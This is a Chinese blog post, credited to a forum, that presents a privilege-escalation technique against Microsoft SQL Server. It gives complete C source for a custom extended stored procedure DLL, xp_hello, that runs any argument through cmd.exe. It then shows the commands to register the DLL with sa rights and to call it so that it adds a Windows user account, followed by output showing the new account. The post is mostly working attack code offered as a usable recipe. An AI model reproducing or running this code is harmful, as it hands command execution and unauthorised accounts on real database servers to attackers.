首页 > 技术文章 > xp_hello.dll(sa) 提权

xp_hello.dll(sa) 提权

2010年8月26日 发表评论 412 views 阅读评论

来源:冰点论坛 2月

主要代码:

在VC6里面新建一个储存过程项目,在proc.cpp中写入如下代码:

#include <stdafx.h>

#include <shellapi.h>

#define XP_NOERROR 0

#define XP_ERROR 1

#define MAXCOLNAME 25

#define MAXNAME 25

#define MAXTEXT 255

#ifdef __cplusplus

extern “C” {

#endif

RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc);

#ifdef __cplusplus

}

#endif

RETCODE __declspec(dllexport) xp_hello(SRV_PROC *srvproc)

{

/***************************** 说明 *************************

由于本人人品不好还是怎么的,库里没有srv_paraminfo函数,卧槽,

无赖之下,只好用老式的srv_paramdata

*************************************************************/

int bufLen;

DBCHAR spName[MAXNAME];

DBCHAR spText[MAXTEXT];

DBCHAR spBuf[MAXTEXT];

unsigned char cmdline[255] = “”;

if(srv_rpcparams(srvproc) != 1) return XP_ERROR; //参数判断,如果参数不是1个就立即退出

bufLen = srv_paramlen(srvproc,1);

if(!bufLen) return XP_ERROR;

wsprintf(spBuf,(DBCHAR*)srv_paramdata(srvproc,1));spBuf[bufLen] = ‘\0′; //获取第一个参数的值

wsprintf(spName, “xp_hello”);

wsprintf(spText, “%s Run command:[%s]\r\n\t\t\tMSN:ylbhz@hotmail.com”, spName,spBuf);

srv_sendmsg(srvproc,SRV_MSG_INFO,0,(DBTINYINT)0,(DBTINYINT)0,NULL,0,0,spText,SRV_NULLTERM); //发送消息

wsprintf((char*)cmdline,”/c %s”,spBuf); //构造参数

ShellExecute(0,”open”,”cmd.exe”,(char*)cmdline,NULL,SW_SHOW); //执行命令

return XP_NOERROR ;

}


编译生成xp_hello.dll

以SA连接SQL Server 执行

dbcc addextendedproc(‘xp_hello’,'c:\xp_hello.dll’);

提示成功过后,调用

exec xp_hello ‘net user fuck fuck /add’;

这样系统里面就多了个fuck账户

C:\Documents and Settings\Administrator\桌面\工作区间\C\Debug>net user

\\PC-200910151119 的用户帐户

—————————————————————————–
Administrator ASPNET fuck
Guest HelpAssistant IUSR_PC-200910151119
IWAM_PC-200910151119 SQLDebugger SUPPORT_388945a0
VUSR_PC-200910151119
命令成功完成。

相关文章

分类: 技术文章 标签: ,
  1. 本文目前尚无任何评论.